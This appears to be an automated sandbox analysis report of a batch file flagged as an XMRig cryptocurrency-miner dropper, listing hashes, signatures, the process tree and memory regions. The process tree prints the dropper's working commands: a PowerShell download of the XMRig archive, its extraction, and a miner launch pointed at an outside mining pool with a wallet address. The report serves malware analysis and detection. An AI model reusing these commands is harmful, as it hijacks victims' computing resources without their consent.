Analysis

  • max time kernel
    1794s
  • max time network
    1793s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    31-12-2023 20:41

General

  • Target

    tesy - Copy (11).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:212
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4128
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2792

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    f318e111fcf9ee3141ab21a7aef235cb

    SHA1

    8a1c96b15e16080c9ff40e78115ff505a4f74efc

    SHA256

    ff47c9639985d5e3064d721e1d1a1319f6ce235cf24853330f013491b46c55a2

    SHA512

    9c54eb956688c31479d52598cb547772783424e5135eaa80151a2353cddabf09130550dd8431b750f0830c813f3a11837ff86e681bb3b186be88513f2bdedb81

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k23cup2t.dth.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    384KB

    MD5

    9e95296fa181cbf1e8e06d1479a241ff

    SHA1

    8f81550d30ade25d11105025c88ccd3894d9a4f1

    SHA256

    fcd9194408e14f8ec8ee9610759dc8c79edd02dda837fd127a0d5cd9ea9cb06b

    SHA512

    90343cd48b41761593285d2a6de49d3d921f3f2a60c7578fda749688c3b89ff4331704aa74af6e8f632a8ea3ca3f7c9f2d9324437f9596e5b9e716ef6a45e178

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    894KB

    MD5

    4e821ad24789ff27c63aeec502609c7e

    SHA1

    2015495de7fc23b6c381a81a286349e405c8b659

    SHA256

    2557eb5bca444ea09b9f551e97183c1185891dd2ec034e92a19f5db2913dfffe

    SHA512

    acc5411895ae4e07f008780df20d25b918766848a937bace2df9dab593b74bad64e0f91f7984439e0c201f4f29e4a78b962c85eeeda41e431e84db856b8f01e8

  • memory/2792-143-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-128-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-188-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-187-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-186-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-185-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-184-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-183-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-182-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-181-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-180-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-179-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-178-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-177-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-176-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-175-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-174-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-146-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-173-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-121-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-122-0x0000022044250000-0x0000022044270000-memory.dmp

    Filesize

    128KB

  • memory/2792-123-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-124-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-125-0x0000022044270000-0x0000022044290000-memory.dmp

    Filesize

    128KB

  • memory/2792-126-0x0000022044290000-0x00000220442B0000-memory.dmp

    Filesize

    128KB

  • memory/2792-127-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-145-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-129-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-130-0x0000022044270000-0x0000022044290000-memory.dmp

    Filesize

    128KB

  • memory/2792-131-0x0000022044290000-0x00000220442B0000-memory.dmp

    Filesize

    128KB

  • memory/2792-132-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-133-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-134-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-135-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-136-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-137-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-138-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-139-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-140-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-141-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-142-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-172-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-154-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-171-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-120-0x0000022044210000-0x0000022044230000-memory.dmp

    Filesize

    128KB

  • memory/2792-147-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-148-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-149-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-150-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-151-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-152-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-153-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-144-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-155-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-156-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-157-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-158-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-159-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-160-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-161-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-162-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-163-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-164-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-165-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-166-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-167-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-168-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-169-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2792-170-0x00007FF716BA0000-0x00007FF7176A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4128-41-0x0000026864F30000-0x0000026864F40000-memory.dmp

    Filesize

    64KB

  • memory/4128-66-0x0000026864F30000-0x0000026864F40000-memory.dmp

    Filesize

    64KB

  • memory/4128-40-0x00007FF912B70000-0x00007FF91355C000-memory.dmp

    Filesize

    9.9MB

  • memory/4128-117-0x00007FF912B70000-0x00007FF91355C000-memory.dmp

    Filesize

    9.9MB

  • memory/4128-93-0x0000026864F20000-0x0000026864F2A000-memory.dmp

    Filesize

    40KB

  • memory/4128-42-0x0000026864F30000-0x0000026864F40000-memory.dmp

    Filesize

    64KB

  • memory/4128-80-0x0000026865060000-0x0000026865072000-memory.dmp

    Filesize

    72KB

  • memory/5092-26-0x00007FF912B70000-0x00007FF91355C000-memory.dmp

    Filesize

    9.9MB

  • memory/5092-25-0x000002B66C710000-0x000002B66C720000-memory.dmp

    Filesize

    64KB

  • memory/5092-5-0x00007FF912B70000-0x00007FF91355C000-memory.dmp

    Filesize

    9.9MB

  • memory/5092-4-0x000002B66CD90000-0x000002B66CDB2000-memory.dmp

    Filesize

    136KB

  • memory/5092-6-0x000002B66C710000-0x000002B66C720000-memory.dmp

    Filesize

    64KB

  • memory/5092-10-0x000002B66CF40000-0x000002B66CFB6000-memory.dmp

    Filesize

    472KB

  • memory/5092-34-0x00007FF912B70000-0x00007FF91355C000-memory.dmp

    Filesize

    9.9MB

  • memory/5092-29-0x000002B66C710000-0x000002B66C720000-memory.dmp

    Filesize

    64KB

  • memory/5092-28-0x000002B66C710000-0x000002B66C720000-memory.dmp

    Filesize

    64KB

  • memory/5092-27-0x000002B66C710000-0x000002B66C720000-memory.dmp

    Filesize

    64KB

  • memory/5092-7-0x000002B66C710000-0x000002B66C720000-memory.dmp

    Filesize

    64KB